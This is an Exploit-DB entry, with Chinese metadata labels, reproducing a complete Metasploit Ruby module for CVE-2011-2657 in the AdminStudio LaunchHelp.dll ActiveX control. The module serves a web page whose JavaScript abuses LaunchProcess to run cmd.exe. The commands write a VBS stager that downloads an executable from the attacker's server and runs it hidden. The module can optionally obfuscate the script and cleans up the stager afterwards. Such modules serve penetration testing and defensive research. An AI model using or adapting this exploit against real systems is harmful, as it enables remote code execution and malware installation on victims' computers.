标题: AdminStudio - 'LaunchHelp.dll' ActiveX Arbitrary Code Execution (Metasploit) EDB-ID: 19718 CVE: 2011-2657 类型: REMOTE 平台: WINDOWS 发布日期: 2012-07-11 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The
    LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run
    arbitrary commands on the victim machine. This module has been successfully tested with the
    ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration
    Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
     [
      'rgod', # Vulnerability discovery
      'juan' # Metasploit module
     ],
   'References'     =>
    [
     [ 'CVE', '2011-2657' ],
     [ 'OSVDB', '76700'],
     [ 'BID', '50274' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-318/' ],
     [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7009570&sliceId=1' ],
    ],
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00",
    },
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # LaunchHelp.dll 9.5.0.0
     [ 'Windows Universal',  {} ],
    ],
   'DisclosureDate' => 'Oct 19 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('WINDOWSTEMP', [ true, "The Windows temporal folder.", "C:/Windows/Temp" ]),
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
   ], self.class)
 end

 def on_new_session(client)
  if client.type != "meterpreter"
   print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
   print_error("The vbs stager and exe payload must be removed manually.")
   return
  end

  # stdapi must be loaded before we can use fs.file
  client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

  begin
   print_status("Deleting the vbs payload \"#{@stager_name}\" ...")
   client.fs.file.rm("#{@temp_folder}/#{@stager_name}")
   print_good("The vbs stager has been deleted successfully")
   print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
  rescue ::Exception => e
   print_error("Problems while the clenaup")
   print_status("The vbs stager #{@temp_folder}/#{@stager_name} must be removed manually")
   print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
   print_error("Exception: #{e.inspect}")
   return
  end
 end

 # Stager wrote by sinn3r to avoid problems when echoing the vbs cmdstager too many times.
 # See "real_arcade_installerdlg.rb" for more information.
 def build_vbs(url)
  name_xmlhttp = rand_text_alpha(2)
  name_adodb = rand_text_alpha(2)

  tmp = "#{@temp_folder}/#{@stager_name}"

  vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
  vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
  vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
  vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
  vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
  vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
  vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"
  return vbs
 end

 def exploit
  @payload_name = rand_text_alpha(4)
  @temp_folder = datastore['WINDOWSTEMP']
  @stager_name = rand_text_alpha(6) + ".vbs"
  super
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if not agent =~ /MSIE/
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  if request.uri =~ /\.exe/
   print_status("Sending payload EXE")
   return if ((p=regenerate_payload(cli)) == nil)
   data = generate_payload_exe( {:code=>p.encoded} )
   send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
   return
  end

  # Payload's URL
  payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"

  # Create the stager (download + execute payload)
  stager = build_vbs(payload_src)

  js = <<-JS
  var actvx = new ActiveXObject('LaunchHelp.HelpLauncher.1');
  actvx.LaunchProcess("cmd.exe", '/c #{stager}');
  actvx.LaunchProcess("cmd.exe", "/c start #{@temp_folder}/#{@stager_name}");
  JS

  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  html = <<-EOS
  <html>
  <body>
  <script>
  #{js}
  </script>
  </body>
  </html>
  EOS

  # Remove extra tabs
  html = html.gsub(/^\t\t/, "")

  print_status("Sending #{self.name}")
  send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end URL: https://www.exploit-db.com/exploits/19718